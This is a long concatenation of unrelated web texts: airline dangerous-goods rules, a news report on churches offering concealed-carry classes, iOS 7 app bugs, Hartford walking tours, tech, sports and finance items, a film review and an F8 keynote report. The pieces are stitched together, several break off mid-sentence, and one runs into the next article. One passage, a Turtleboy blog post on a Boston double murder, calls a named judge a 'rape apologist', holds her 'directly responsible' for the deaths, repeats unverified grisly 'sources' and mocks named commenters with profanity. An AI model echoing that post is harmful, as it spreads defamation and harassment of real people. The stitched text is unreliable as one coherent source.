All fireworks and any other items containing explosives, for example Christmas crackers, firecrackers, bottle rockets, poppers and sparklers are forbidden to be carried either as carry-on baggage or as checked baggage on our flights.
Lithium batteries
Please note – in some countries, lithium batteries as found in laptops, mobile phones and other portable electronic devices, are now considered dangerous items, and may be banned from checked baggage.
Countries that enforce this rule currently include China.PRYOR CREEK, Okla. (RNS) Pryor Creek, Okla., is gun country.
Located midway between Tulsa and Siloam Springs, Ark., the town of approximately 8,500 sits in the heart of Oklahoma’s greenbelt. Hunting and fishing are simply part of everyday life in Pryor, as it is known to locals.
Derek Melton is the assistant chief of police in Pryor, as well as senior pastor at Pryor Creek Community Church, a congregation he describes as Baptist, but not Southern Baptist.
“We follow the 1833 Baptist Confession,” Melton said. “We are an historically evangelical church.”
The confession is better known as the New Hampshire Baptist Confession of 1833, and there are very few churches around the country that subscribe to it. They answer to no denominational headquarters, no bishop, no overarching authority, except the Holy Spirit as mediated through the congregation.
Pryor Creek Community Church is one of a few dozen churches around the country that are offering concealed carry certification classes. RNS photo courtesy iStockPhoto.
Pryor Creek Community Church is also one of a few dozen churches around the country that are offering concealed carry certification classes as a way to reach out to non-Christians and attract new members. Melton sees no conflict between being a Christian and possessing weapons.
“The disciples carried weapons,” Melton said. “Peter cut a man’s ear off. I believe if more honest citizens were armed, the safer our communities would be.”
Melton’s position is shared by pastors in churches all over the country, including congregations in North Carolina, Ohio, and Texas.
But in the wake of the massacre at Sandy Hook Elementary School in Newtown, Conn., in which a gunman killed 20 first-graders and six adults, such sentiments are coming under sharp criticism from fellow Christians.
“I understand where the people who disagree with me are coming from,” said Richard Cizik of the New Evangelical Partnership for the Common Good. ”But what these churches are proposing compromises the essential message of the gospel, that Jesus was first of all a peacemaker.”
Ryan Bennett is the senior pastor of Faith Baptist Church in Lexington, N.C. His Southern Baptist congregation has offered concealed carry training classes in the past, and he said they will offer them again.
Bennett is frank in describing the classes as outreach. “Outreach is the only reason we do it,” he said. “We’ve had two classes of 80 people each, and we have a waiting list and calls coming in all the time.”
Both churches have been the subject of local criticism, but both pastors shrug it off.
“The church can’t really do anything without being criticized,” Bennett said. “Our local paper ran letters to the editor with negative reactions. Our people knew it wasn’t about bringing pistols to church, though; it was about outreach.”
Cizik, who was a top official at the National Association of Evangelicals before leaving it and helping form his new group, said he is concerned about churches using weapons training as a means to reach non-Christians.
“I grew up in gun country,” Cizik said. “I am not intrinsically anti-Second Amendment; however, this seems to be an ethically suspect message. The gospel should be ‘Put your faith in Christ.’ This seems to be ‘Put your faith in Glock.’”
Cizik said he believes it’s difficult to make a hard and fast judgment about the method, though. He believes gun ownership and even concealed carry permits are matters of personal judgment.
“The church has always used a variety of methods for drawing people in,” he said. “However, I do think that there are plenty of organizations more suitable that could be doing the training.”
Duane Shank, a senior policy adviser at the Washington-based group Sojourners, said he is more concerned about weapons actually being in the church.
“A church is a place where we gather for worship and prayer in the name of the Prince of Peace,” he said. “Carrying a weapon, openly or concealed, into a place of worship is counter to that spirit.”
Both Bennett and Melton allow concealed carry in their churches, but said they don’t actively encourage it.Millions of iPhone users are expected to download the latest version of Apple's iOS operating system when it becomes available at around 18.00 BST this evening.
However, app-testing company uTest – which tests web and mobile apps for customers like Google, HBO, and Amazon through a global crowdsourced community of 100,000 testers in 200 countries – has told Business Insider that 90 per cent of pre-exisiting iOS apps are having trouble with the new system.
According to Matt Johnston, chief marketing officer at uTest, apps are having performance problems in twice as many areas as they typically do, and it is taking developers three or four attempts to fix all the things that iOS 7 breaks.
"When we moved from iOS 4 to 5 to 6, we weren't seeing this kind of spike in both performance issues and UI rendering issues," Johnston told Business Insider.
The new operating system has been hailed by Apple chief executive Tim Cook as “the biggest change to iOS since the iPhone”. However, it appears that a lot of developers have underestimated the scale of the upgrade.
uTest warned in a recent developer blog post that, all new app submissions and updates must be iOS 7 compatible, optimised for Retina and support the 4-inch screen for the iPhone 5s and 5c, or Apple will not allow them into the app store.
While adapting an iOS 6 app to work on iOS 7 will be straight-forward for some developers, those who have custom elements may find their interfaces distorted or out of place in the new operating system, he warned. APIs that developers have previously relied upon may also have become defunct.
Of course, not all developers have been caught off-guard. Many have been planning for iOS 7 since the summer, working with the beta release and gradually adjusting their apps for the new operating system.
Johnston also said that the existing bugs should only take a few weeks to fix. However, he added that iPhone users may want to proceed with caution before rushing to download the new iOS 7 software.
Apple refused to comment on the report.
Update – uTest's Matt Johnston has added the following comments for clarification:
The in-the-wild testing that uTest performs typically uses 15-20 professional testers in the target geographic markets with whichever devices, OS versions and carriers a customer wants.
Our functional testing offering can either be unguided exploratory testing, or our customers can provide us with a step-by-step test cases which our testers follow. In the majority of our iOS 7 test cycles, customers have wanted both test case execution (to test their expected use cases), as well as exploratory testing to help them discover unexpected issues.
We’ve run more than 100 iOS 7 test cycles across 40+ different apps. And in the first test cycle for most of these apps, we have indeed seen a greater frequency of app crashes and rendering issues. That said, the number of bugs and crashes has typically decreased dramatically from the 1st test cycle of an app, to the 2nd to the 3rd. This means that the underlying issues are fixed quickly in the next build of an app – as long as the developer knows what the specific issues are.
Thus, my concern is high for those companies that don’t plan well ahead of time. However, for those companies that are well-prepared, iOS 7 is not a bad or risky thing – rather, it’s a great opportunity to create apps that delight, that win new users, and that differentiate them from their competitors.What’s included: Informational tours that take place outside on a recurring basis and involve walking as the primary mode of movement.
What’s not: Tours that have you sitting on a bus, boat, or bicycle; tours that are (probably or definitely) on hiatus; tours that are only self-guided; general walks; private tours that require your membership for participation; campus tours intended to attract students.
Coltsville National Historical Park
Where else around here can you get a guided tour from a National Park ranger?
It is possible to abhor ongoing gun violence and to think that Sam Colt was basically a schmuck, while thoroughly enjoying this tour.
If you have a casual understanding of the Colt family legacy, this tour will fill in the gaps. Elizabeth Colt comes out of this looking like the hero; her husband and one child who made it to adulthood, not so much. The tour balances Samuel’s contributions as an inventor and industrialist with his failures and sometimes shortsighted leadership style. The son, Caldwell, who dies mysteriously as age 35, would be in good company with any one of the overprivileged Peter Pan types common today — just give him a man-bun and call it a day.
Meet by the Colt monument inside the Colt Park entrance from Wethersfield Avenue at 10 am or 2 pm on Saturdays and Sundays for the free walking tour. The suggestion to wear a hat and bring water is no joke. It’s not a physically fast-moving tour, but it remains hot even in the shade at mid-day. Contact (717) 856-9629 to confirm if the tours are happening — they do cancel for “bad weather,” but we all have different definitions of what that means.
Cedar Hill Cemetery
Learn about trees, birds and butterflies, monuments, and the people buried here. There are many free and low-cost walking tours. The Hallowed History Lantern Tour is the most expensive one, but if you can spare the money, go for it. This takes place after dark near Halloween each year and involves character actors. It’s not often you are encouraged to hang out in a graveyard at night.
Asylum Hill Walking Tours
See various places in the Asylum Hill neighborhood. Some outdoors, some indoors. Read each tour’s description to learn when, where, how long, and if it is rain or shine.
Elizabeth Park
Take free garden tours from May-October. The Moonlight Park & History Tour, offered later in the season, involves wandering around in the dark. Bring a flashlight if you don’t feel like your ankles need added excitement.
Bushnell Park
Free one-hour history tours are offered once each month from June-October. Every Thursday (weather-permitting) and on some special occasions from May-October, you can take a tour of the Soldiers and Sailors Memorial Arch. It’s possible to walk up, look around, and come back down on your own, but the tour segment is quick and painless — about ten minutes altogether. Unless you’re one of those CrossFit maniacs, you’ll probably benefit from that downtime after taking on the steep steps.
Shoeleather Walking Tour
These are sporadic, so sign up when you see that as an option. Having been to one years ago, can say that this is info-packed and gives another side of Hartford’s history than what you’ll get if you stick to only where the tourism sites point you. Steve’s description of his tours is on point: “The first route starts and ends at the Old State House, downtown on Central Row. It covers Emma Goldman, James Connolly, Big Bill Haywood, John Brown, union organizer Rebecca Weiner, suffragist Josephine Bennett, artist Alton Tobey, and much more” and “[t]he second tour (Charter Oak Avenue to Huyshope Ave.) introduces the boy genius and the golden boy, the Solidarity priest and the radical rabbi, the doctor who was a Puerto Rican revolutionary and the doctor who created the first WMD, struggles of women factory workers, tenants, the unemployed and homeless, Mark Twain, baseball and more.” Future tours for other parts of the city are in the works.
Ancient Burying Ground
Middle school students are the tour guides for these free cemetery tours, Monday-Friday, 12-2 pm. These only go through the beginning of August. Contact abgatours@gmail.com or call 860-690-9150 to get more information or schedule a tour.
Connecticut Trails Day (Weekend)
Every year in June, organized walks/hikes are planned throughout the state. There are usually ones planned for Keney Park, Cedar Hill Cemetery, and somewhere downtown Hartford.
BONUS: Walktober
This series of October walks is in the planning stages.
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Double Murderer Bampumim Teixeira Was Given 364 Day Sentence From Judge Lisa Grant On Bank Robbery Charge So He Wouldn’t Be Deported On His Green Card
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Herald: The man charged today with the slaughters of two prominent doctors in their South Boston penthouse Friday night told a bank teller in 2014 “I’ll start shooting people” if she didn’t give him $1,000, according to court documents. Though no weapon was shown, the teller at Citizens Bank on Summer Street complied with Bampumim “JJ” Teixeira’s terrifying demand on Aug. 28, 2014, court records state.
Teixeira, 30, who was arrested for the crime last year by the FBI Bank Robbery Task Force while living at a Chelsea rooming house, was formally charged this morning with the murders of engaged anesthesiologists Drs. Richard Field and Lina Bolanos. It remains unclear when and where Teixeira will be arraigned. He remains hospitalized this morning with multiple gunshot wounds police say he suffered in a shootout when they tried to enter the couple’s Dorchester Avenue condo. No officers were hit.
During an interview with police following his arrest last year for the 2016 robbery, court records state, Teixeira told police he was also wanted for the 2014 robbery of the same bank.
“Mr. Teixeira advised detectives that he knew he was wanted by police because he viewed his picture on the Mass Most Wanted website.” records sstate. “Mr. Teixeira was shown the (wanted) bulletin and he advised detectives that was him.”
In the June 2016 case, according to court records, a well-dressed Teixeira walked into the Citizens Bank branch and without ever brandishing a weapon threatened, “5,000 or I’ll shoot you and everybody here now.”
“In fear of being harmed,” a police report states the teller handed Teixeira $212 and a dye pack. Investigators later recovered his white shirt and black fedora hat from a trash bin at the MBTA Chauncey Street Station. Police said Teixeira used his Charlie Card to make his getaway. Police later determined that Teixeira worked for a security company whose clients included the Court Square Press Condominiums on West Broadway in South Boston.
Teixeira agreed on Sept. 30 to plead guilty to two counts of larceny and was sentenced to 9 months plus three years probation. He was credited with the 78 days he’d already served behind bars awaiting the resolution of his cases, and he waived applying for parole. Teixeira is currently on probation until October 2019. At the Probation Department’s request, a warrant was issued this morning for Teixeira’s arrest.
So this asshole is not an American citizen. He’s here on a green card after immigrating here less than ten years ago from Cape Verde via Guinea-Bissau. He didn’t get along with his aunt so he became a vagrant and started robbing banks. Somehow, despite being on the Mass Most Wanted list for the 2014 bank robbery in which he threatened to shoot people, he was able to continue maintaining employment. Then he got picked up for the 2016 bank robbery and the jig was up.
Had we deported this shithead after the second bank robbery, the two doctors would be alive today. However, you cannot be deported if you are on a green card unless you receive a jail sentence of one year or longer. And two armed bank robberies should obviously merit more than one year in jail. Plus, sources from the Department of Homeland Security tell Turtleboy that they recommended deportation. Wasn’t looking good for him.
Luckily for Bampumim his case was heard by a recent Deval Patrick appointed judge named Lisa A. Grant. Judge Grant is woefully under-qualified for her position. She has spent her entire career as a criminal defense attorney which means she’s almost always going to side with the criminals. Before being appointed she was serving as the managing director at the Committee for Public Counsel Services. In other words, she helped out asshole criminals like Bampumim at the expense of the taxpayers.
She went to Wellesley College and Boston College law school, and opposes harsh mandatory sentences for serious crimes:
Councilor Robert Jubinville asked her opinion about mandatory minimum sentences. Grant said she is not in favor of them because they take away a judge’s discretion. She said she does not like a “cookie-cutter approach” to sentencing.
In other words, she can be easily be manipulated because she’s incredibly soft.
As a defense attorney one of her colleagues was asked to talk about the case that comes to mind that best exemplifies what she stands for. This is what he said:
“Haggan described a rape case he tried in which Grant represented the defendant and where the victim’s credibility was called into question.”
Oh good, she got a rapist off by exploiting a vulnerable victim of rape. This is how you get appointed as a judge by Deval Patrick.
Anyway, Bampumim hit the jackpot when he saw she was the judge. And because this woman was well versed and well aware of immigration laws, she sentenced him to 364 days in jail, instead of 365. This despite the fact that DHS had recommended deportation. As a career defense attorney she knew more about homeland security than the experts who work in homeland security. Had she sentenced him to a full year then he would have been deported. Instead, she used her background as a defense attorney and rape apologist to grant mercy and sympathy on Bampumim. Something he would not do to his victims in South Boston.
Make no doubt about it though – Judge Lisa A. Grant is directly responsible for the deaths of Drs. Richard Field and Lina Bolanos. She had the chance to kick their killer out of this country, after he proved he was a violent felon with no hope for rehabilitation. She made the choice to keep him here on a joke of a prison sentence, and as a result he was able to stay here and kill two doctor.
Many have speculated that it was over drugs, since Dr. Field was an anesthesiologist. But sources tell us that this was a premeditated and very personal murder. Dr. Field had his throat cut in front of the mirror. The killer forced him to watch himself die. Pictures were cut up all over the apartment. The motive is not yet 100% clear, nor is the method in which he got into their restricted apartment building. But our sources tell us that someone Bampumim cared about died under the watch of Dr. Field, and this was his sick revenge. This is why he took it personally. If he was going to lose someone he loved, then Dr. Field would as well.
The bottom line is, this is 1,000% on Judge Lisa A. Grant, and was totally avoidable. Had she done her job instead of acting as judicial activist, this country would have one less murdering waste of space, and two more doctors. Instead he is alive and they are dead. He will contribute nothing to society the rest of his miserable life. We will pay for his meals and lodging, while the hospital will go without the precious services of two doctors. And it’s all because of Judge Lisa A. Grant. (who we can’t seem to find a picture of, so send it over if you’ve got it.
Dipshit McGee was arraigned from his hospital room today:
I fucking LOVE Facebook Live. It’s the greatest invention ever. Without we’d never get to watch this asshole sleep through an arraignment for a double murder.
Meanwhile look at this idiots in the comments:
Oh look, Amanda von Herrmann is standing up for the double murderer and whining about “miscarriage of justice” for a guy who just slit the throats of two innocent people. Yea, he’s the victim here, and I’m sure this is totally illegal to do. That’s why a judge and a defense attorney consented to take part in it. Another Internet lawyer extraordinaire.
Then there’s the HIPAA experts:
There’s nothing more annoying these days then Facebook HIPAA experts who think they know what the ins and outs of HIPAA. Because obviously these two guys sitting at home on Facebook know more about health insurance law than lawyers and judges.
The bottom line is that the victim’s family needs to sue the balls off this idiot judge who chose to keep this asshole here, and overruled the recommendations of Homeland Security. The company she worked for specifically trained their employees in immigration law. She knew exactly what she was doing when she gave him less than a year in prison. The cops did their job, DHS does their job, and then you have this one Deval Patrick appointed idiot who goes and gets two people killed. She needs resign IMMEDIATELY!!!
I’m sure there will be a lot more coming out on this story. Stay tuned.
We urge you to support the Turtleboy Sponsors by doing business with them. Without them none of this is possible. Click on any of them to check out their sites or Facebook pages.It’s easy to overlook a screw. This ubiquitous object hasn’t majorly changed in our lifetime, and you wouldn’t expect it to. Well, forget the standard Phillips and flat-heads, because Japanese designer Yuma Kano created the Screw 🙂, a take on the universal product that has its head imprinted with a smiley face. Kano produced these tiny bolts in collaboration with the Komuro Seisakusho factory in East Osaka, Japan. He also designed a screwdriver with an identical grin that makes Screw 🙂 a viable option for do-it-yourself projects.
Kano wanted to infuse emotion into a small, everyday object. What better to use than a screw? It’s industrial and utilitarian, and not something you’d expect to see smiling. Upon discovering this pleasant surprise, it inspires you to pass the joy along to others. We see this as the point of Kano’s work. Screw:) is not entirely about how it functions, but if it brightens peoples’ lives with they use it.
Yuma Kano website
via [Lustik and Colossal]Welp City. According to WAVY-TV's Bruce Rader, Virginia Beach mayor Will Sessoms has reached a deal with Comcast-Spectacor and apparently the Maloofs to build a city-owned arena in that fair burg, with the cable company as the operator and the Kings as the primary tenant. Next Tuesday, Rader reports, Sessoms will ask the Virginia Beach City Council to approve a request to the State of Virginia for $150 million to help build the arena and finance the team's relocation. The apparent angle will be that doing the deal gives Virginia its first professional major league team since... the ABA's Squires?
Rader says $80 million of that money will go toward relocation costs for the Kings. The Maloofs owe the city of Sacramento just less than that amount, and the standard recent relocation fees from the NBA have been $30 million. The Maloofs could also default on their loan with the city and fork over a $25 million stake of the team, per the loan agreement.
Famously, the Maloofs bristled at providing collateral for a restructured city loan in the most recent arena negotiations. The Virginia Beach deal, as proposed, would apparently let Virginian taxpayers handle that debt for George and the boys. Virginia Gov. Bob McDonnell, for what it's worth, is rather conservative, and likely has his sight set on a U.S. Senate run. I'm honestly not sure if pushing through a deal would help or hurt his electoral chances. Reports have previously suggested that George Maloof, Sessoms and McDonnell met weeks ago to discuss a potential move. So one would think he's at least tentatively on board for Sessoms to have continued to pursue it. Comcast is, obviously, a very powerful, rich company. It's a good corporation to have on your side if you're a politician, particularly in the mid-Atlantic where it's utterly dominant.
There are lots of barriers here. The V.B. City Council still hasn't given the project a thumbs-up. A lot is being asked of the state. And we know that the Maloofs can't be trusted to hold up their end of a deal, even when they smile for the cameras and tear up and give triumphant press conferences. They cannot be trusted to follow through with anything that might cost them a dime. It's kind of gross, hoping the Maloofs do to Virginia Beach what they've done to us. But hey, it's not personal. It's business.
Thanks to SactownMike and 10KingsFan10 for the FanPosts/Shots.Rise Records Rise Records
Next week Attack Attack! will release the appropriately titled 'This Means War,' their third studio album. Produced by frontman Caleb Shomo in his home studio, the 10-song collection finds the Ohio metalcore outfit firing on all cylinders, with some of the most relentless guitar assaults found in their discography yet.
Even though the album won't hit stores till next Tuesday, Noisecreep got its hands on the exclusive premiere of 'The Wretched,' the first video from 'This Means War.'
'The Wretched' director Megan Thompson gave Noisecreep some insight on the making of the video:
"It was a great experience working with Attack Attack! on this video. We've been friends for a long time, and it was really fun developing the treatment with them. 'The Wretched' is the first part of a larger story, and represents a call to arms against the frustrations facing a lot of people in today's society.
"The video crew was amazing, from our director of photography; Bryant Jansen, to our production designer; Ben Spiegelman, and our editor; James Fitzpatrick. Early in the day the skies opened up and we had to deal with an intense rain storm, which ended up being such a positive thing for the look of the video. It made for a very rough day of shooting, but I couldn't be happier with the final product."
Attack Attack! will unleash 'This Means War' next Tuesday, Jan. 17, in stores and online via Rise Records. Pre-order exclusive bundles of the album now from the band here: http://attackattack.merchnow.com/.
To help celebrate the new album, Attack Attack! will head out on the This Means War Tour along with The Ghost Inside, Sleeping With Sirens, Chunk! No Captain Chunk!, and Dream on Dreamer. Check out the dates for the American trek below.
1.26.12 - Columbus, OH - Newport Music Call
1.27.12 - Toledo, OH - The Omi
1.28.12 - Grand Rapids - The Intersection
1.29.12 - Milwaukee, WI - The Rave II
1.31.12 - Des Moines, IA - Peoples Court
2.01.12 - Omaha, NE - Sokol Underground
2.02.12 - Fort Collins, CO - Aggie Theatre
2.04.12 - Reno, NV - Knitting Factory
2.05.12 – Sacramento, CA - Ace Of Spades
2.07.12 - Fresno, CA - Rainbow Ballroom
2.08.12 - Bakersfield, CA - Golden State Hall
2.09.12- Las Vegas, NV- Hard Rock Café
2.10.12- Pomona, CA- The Glass House
2.11.12 - Tucson, AZ - The Rock
2.12.12- Albuquerque, NM- Sunshine Theater
2.14.12- Austin, TX- Emo's East
2.17.12 - Tallahassee, FL - Floyd's
2.18.12 - Jacksonville, FL - Freebird Live
2.19.12 - Atlanta, GA - The Masquerade
2.21.12 - Raleigh, NC - Lincoln Theater
2.22.12- Richmond, VA- The Hat Factory
2.23.12- Allentown, PA- Crocodile Rock
2.24.12- Washington, DC- 9:30 Club
2.25.12- Danbury, CT- Tuxedo Junction
2.26.12- Poughkeepsie, NY- The Chance/The LoftEdit 8/31/2017: I’m extremely excited to say that an abridged version of this article has been published in the online edition of Dawn, one of Pakistan’s largest and most-reputed newspapers! You can read the article here.
This year, Pakistan’s 70th Independence Day and Janmashtami (the Hindu festival celebrating Krishna’s birth) fell on the same day: August 14th. With that coincidence in mind, I want to share a very unique Urdu poem: “Krishn Kanhaiya.”
This nazm is by Hafeez Jalandhari (1900–1982), an Urdu poet who is most well-known for composing the lyrics to Pakistan’s national anthem, the Qaumi Taranah. Born in the Punjabi city of Jalandhar (now in India), he moved to Lahore (now in Pakistan) following India and Pakistan’s independence and Partition in 1947.
The Urdu text shows Jalandhari’s full name: Abu’l Asar |
WEC featherweight title challenger and TUF 5 (lightweight) alum submitted Cody Gibson at UFC 178, then earned a unanimous decision over Scott Jorgensen last July.But Hodgson has also been warned that there will also have to be a clear-out of fringe players during the next transfer window with as many as half a dozen players being shipped out if buyers can be found.
Hodgson took training at the club’s Beckenham HQ for the first time yesterday after taking over as the new manager on Tuesday.
The new manager, who succeeds Dutchman Frank de Boer, sacked on Monday after four defeats in four Premier League games under his command, has been told he can also spend any profits from fees brought in from any departures in January.
One of the key negotiating points for Hodgson in taking the job was that he could bring his former England and Fulham No2 Ray Lewington into Selhurst with him. De Boer’s former assistant Sammy Lee left the club on Tuesday.
Crystal Palace spent some £34m on new players in the summer, but still have some cash left in the kitty.Comcast broadband subscribers are already enjoying better Netflix streaming performance just two weeks after the companies struck an agreement to directly connect their networks — and Netflix says even better performance is on the way.
In its latest ISP speed index released Monday, Netflix said that prime-time video streams on Comcast averaged 1.68Mbps in February, up from 1.51Mbps in January, reversing months of steady declines and boosting Comcast’s ranking by two spots on the list. Prior to February, the average performance of Netflix streaming video content delivered to Comcast subscribers declined by more than 25% over the last few months. As recently as October of last year, Netflix was streaming at 2.07Mbps.
As part of the deal — known as a paid-peering or transit agreement — Netflix gained a direct connection to the Comcast’s network, bypassing bandwidth providers that operate as third-party intermediaries between residential broadband companies and Internet firms. Financial terms of the arrangement were not disclosed. The pact was announced on February 23 and the improved connections began several days before that, but the performance increases will take some time before they’re fully felt by all Netflix users with Comcast service.
(MORE: Comcast’s Traffic Pact With Netflix Is Shrouded in Secrecy)
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Despite the boost in performance, Comcast remains below the U.S. streaming average of 1.95Mbps, but further improvements are on the way, per Netflix. “We do expect to see Comcast’s performance improve in the rankings next month when we release March data as a result of the recent agreement between Netflix and Comcast,” Joris Evers, director of communications at Netflix, wrote in a company blog post.
Google Fiber, the tech giant’s gigabit broadband service, remains by far the fastest U.S. provider of Netflix streaming video, with average performance of 3.74Mbps, according to the company. In the blog post, Netflix called Google Fiber “the guiding North Star for broadband performance in the country.” Google has already launched fiber initiatives in Kansas City, Austin and Provo, and last month announced plans to work with nine more metro areas to expand the service.
Among major U.S. broadband providers, Verizon DSL is the slowest, with average performance of 0.93Mbps. Verizon’s high-speed FiOS service is slightly faster than Comcast at 1.76Mbps, but that service continues to decline in the rankings, as does AT&T U-verse, which clocked in at 1.66 Mbps.
In the wake of Netflix’s deal with Comcast, Verizon and AT&T both acknowledged that they are seeking to reach an agreement with the streaming video service. As high-bandwidth services like Netflix have exploded in popularity, the broadband companies are increasingly seeking compensation in exchange for direct connections to improve performance.
Netflix says its ISP speed index is “based on data from the more than 44 million Netflix members worldwide who view over 1 billion hours of TV shows and movies streaming from Netflix each month. The listed speeds reflect the average performance of all Netflix streams on each ISP’s network and are an indicator of the performance typically experienced across all users on an ISP network. A faster network generally means a better picture quality, quicker start times and fewer interruptions.”
Contact us at editors@time.com.There are rare times when I feel a drink or five is needed to help me get through something going on in my life. And as it so happens, today was one of those days. Last September I posted a trailer for The Taking, and it looked like it had quite a lot of promise. But the magic of trailers is in making you believe something is going to be amazing. And what of The Taking? Well, let’s get right into it.
Well we’re off to a wonderful start, as ten minutes into the movie I have to stop it and go look up the previous post in order to read the synopsis. I had no clue what was going on, it was just a violent mish-mash of images and sounds, with no possible way to figure them out were you not already aware of what was going on. So in order to make things easier, I’m just going to re-post the synopsis from last post to make things simple.
The experience begins with Carl who seeks to murder his best friend and adulterous fiancé. Unexpectedly, he awakens in a wooded wasteland. He has no idea as to where he is or how he got there. A sinister family now holds him captive along with another victim named Jade. They’re subjected to arcane rituals and are left tied to a tree for several days.
When Carl looks back on their grisly experience in the forest, he comes to the realization that they’re not just in the woods; rather, they are in a place where people go to fight the vices living inside of them. The losing of this fight is something far worse than death; it’s the utter damnation of one’s very soul.
There you have it, that’s what’s happening in The Taking. Even armed with that knowledge, you are going to have a hell of a time following things. The whirlwind of random images continues on throughout the majority of the movie. There are some points where things calm down and you think to yourself, maybe the tidal wave of imagery is going to subside and I can finally enjoy myself. But it’s not long before you are mentally barraged once again and have to try to stay afloat.
Any real semblance of character development doesn’t happen until approximately the 35 minute mark. Which, subtracting the end credits, is around the halfway point in the movie. This fails for a couple of reasons: for one thing, you are already so annoyed by the random images and noises coming from your television that you won’t even care about the characters. Another thing is that the five-minute conversation between the two protagonists explains what they were doing before ending up in the woods, but doesn’t really give anything else about them. So you are still not given enough about them to give a shit about their surviving the whole ordeal.
As for the antagonists, you are given very little about them beyond their actions. No names, no stand out personality traits besides their individual looks. The leader is some old crone who may be either a demon or possessed by one, with an altered voice that is almost impossible to understand unless your bass setting is way down. And the backwoods family don’t even have a lot of screen time. In fact, the forest itself had more screen time then they do, and that’s no joke. In fact, I think shots of the forest can actually contend screen time wise with the protagonists for shits sake.
I feel a little bad for all this, because the duo behind The Taking, Cezil Reed and Lydelle Jackson (also known as the BAPartists) seem like pretty cool people. But I can’t in good conscience recommend this movie. The only reason it’s getting the rating it’s getting is because the scenery is pretty damn nice to look at. But that’s the best I can do. Avoid letting The Taking take your time and sanity, and go watch something else. Rest in peace.
Macabre Rating: 0.5 out of 5 tombstones.Dear Mr. President,
This is a copy of my suggestion posted on Face Book.
Would 48 million dollars, per year and per state, help remedy, or solve the problem of elementary schools being CLOSED in several states? If so, here's my solution.
The US Mint spends 2.4 BILLION dollars pressing pennies every year. Each penny cost 2.4 cents to produce, and is worthless. If every CASH sale was rounded up or down to the nearest nickel. KILL the PENNY and give 48 million dollars to each of the 50 states, and SAVE the most important thing for our future - The MINDS of OUR CHILDREN. The very beginning of our future, is kids learning good basic learning habits. I welcome ALL of your comments. Thanks,
Richard L. Picone
rlpicone@gmail.comStocks and bonds are more closely aligned than at any time since 2007, indicating that the two major asset classes are rising in unison.
That connection challenges the often-referenced notion that the asset classes tend to move in opposite directions, making them solid hedges against each other.
Bespoke Investment Group is out with a report this week showing the shifting relationship between the two. Last year, the correlation had been negative — when equities rose, bond prices fell (and yields drifted higher). But that relationship has quickly reversed in the past couple months. Now the S&P 500 index is up, but so are prices on 30-year bond futures.
Hence, we saw a first half of 2014 in which stocks and bonds both notched solid gains. The reversal from last year\’s correlation can be chalked up to the rally in U.S. Treasurys this year, which sent long-term prices up, even as equities continued to chug higher.
\”It’s largely just a function of the fact that the bond market has been performing so well this year. It’s just been constant buying all year long,\” said George Pearkes, analyst at Bespoke.
Many investors have long allocated their assets between stocks and bonds based on the theory that the two asset classes move in opposite directions. After all, the same economic factors that push investors into equities also tend to push them out of fixed income.
By allocating to both in a portfolio, a tumble in stocks would be offset by rising bond prices. While that hasn\’t taken place over the last few months, Pearkes notes that bonds and stocks can still balance each other out because bond market returns tend to be less volatile than stock market returns.
The correlation between stocks and bonds can shift rapidly. Pimco said in a report last year that by its count, the relationship has changed 29 times between 1927 and 2012. In fact, prior to the turn of the 21st century, bonds and stocks had positive correlations much more regularly, according to Bespoke.
So where are we headed from here? It\’s tough to tell, just as it always has been.
\”With how high the correlation has gotten relative to recent history, the odds are that it would move back the other way, but there’s no certainty in that,\” Pearkes says.
– Ben Eisen
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Attorney General Eric Holder refuses to meet with Bank of America CEO Brian MoynihanThe Facebook CEO criticized Trump’s ‘fearful’ anti-immigration rhetoric at the annual F8 developer event: ‘Instead of building walls we can help build bridges’
When Mark Zuckerberg launched Facebook in 2004, he pitched it as a way to get a date.
Opening his company’s annual F8 developer conference in San Francisco on Tuesday, Zuckerberg illustrated just how ambitious he’s become in 14 years. Facebook, he says, will now bring the world online, pioneer artificial intelligence and perfect virtual reality (VR).
He introduced “bots” that would serve as robotic customer service reps for news, weather and retail companies, and showed how he wants to use virtual reality to put grandparents inside baby videos. He also brought on stage a carbon fiber tube from Facebook’s Aquila pilotless plane that will beam wireless internet down to parts of the developing world.
Trump kids discover they can't vote for Dad in New York Republican primary Read more
“If you had told me Facebook was going to build a plane I would have told you you were crazy,” he said. The plane, which he said “weighs less than a small car”, will fly at 60,000ft (twice the height of commercial airliners) and be able to stay airborne for several months at a time.
Zuckerberg’s ambitions illustrate how technology companies are no longer content with getting people to visit their website or download their app; their future depends on being omnipresent in people’s lives.
In a thinly veiled attack on US presidential hopeful Donald Trump, Zuckerberg said: “I’m starting to see people and nations turning inward against this idea of a connected world. I hear fearful voices talking about building walls … It takes courage to chose hope over fear.”
The Facebook CEO has spent the past three years lobbying for more visas for foreign workers.
“Instead of building walls we can help build bridges. Instead of dividing people we can connect people. We do it one person at a time, one connection at time. That’s why I think the work we’re doing together is more important than it has ever been before,” he said.
Much of the buzz was around a seemingly nerdy new product: chat bots. Bots are tools that send live, automated messages or images into Facebook’s chat tool Messenger, which is used by 900 million people every month and 50m businesses. For many users, it will be their first experience of interacting with an artificial intelligence.
Developers will be able to build new chat bots to work with Messenger. Zuckerberg demonstrated Facebook’s first bots including CNN, which will send articles to users with conversational teasers, and 1-800-Flowers which can order flower deliveries with personalized messages. Other bots will deliver weather and news updates, receipts and shipping notification.
What is a chat bot, and should I be using one? Read more
For Facebook, the move is as much about making money as being social. If businesses use Facebook as a way to sell more, Facebook can make more money from them.
Speaking on stage, David Marcus, Facebook’s head of messaging and a former eBay executive, joked about how addictive it was to interact with businesses’ bots. “I guarantee you’re going to spend way more money than you want on this,” he said.
If bots are still foreign to normal people, they are the programming trend of the day here in Silicon Valley. After his speech, attendees struggled to fit inside a tent for a bots demo. “Is that us? Sweet!” he said as he marveled at the number of people trying to get in.
Customers have to opt in to engage with any company’s Messenger bot and, for now, companies aren’t supposed to use it for pure advertising.
Facebook’s other big push is more closely related to its original purpose for many consumers: as a place to post pictures. Except now, Zuckerberg says he imagines a future where consumers find ways to jump into their pictures. This year, the company started shipping its Oculus Rift virtual reality headsets and is working to develop “360-degree” cameras that capture all parts of a setting.
“You actually feel you’re right there with another person,” Zuckerberg said.
Gear VR, Facebook’s low-end virtual reality goggles, is part of a technology that Zuckerberg claimed is going to “change the way we all experience the world”. Customers have so far watched 2m hours of VR video, he said, and more than 50 games have been launched so far.
He also demonstrated an app that allowed two people to play together virtually, and said that in late 2016 Oculus, the Facebook-owned VR company, will launch a set of touch controllers which will allow users to touch and manipulate objects in virtual applications. “This will allow a whole new layer of immersion, a whole new set of social experiences across all these VR platforms … experiences you can’t have with any existing platform today.”
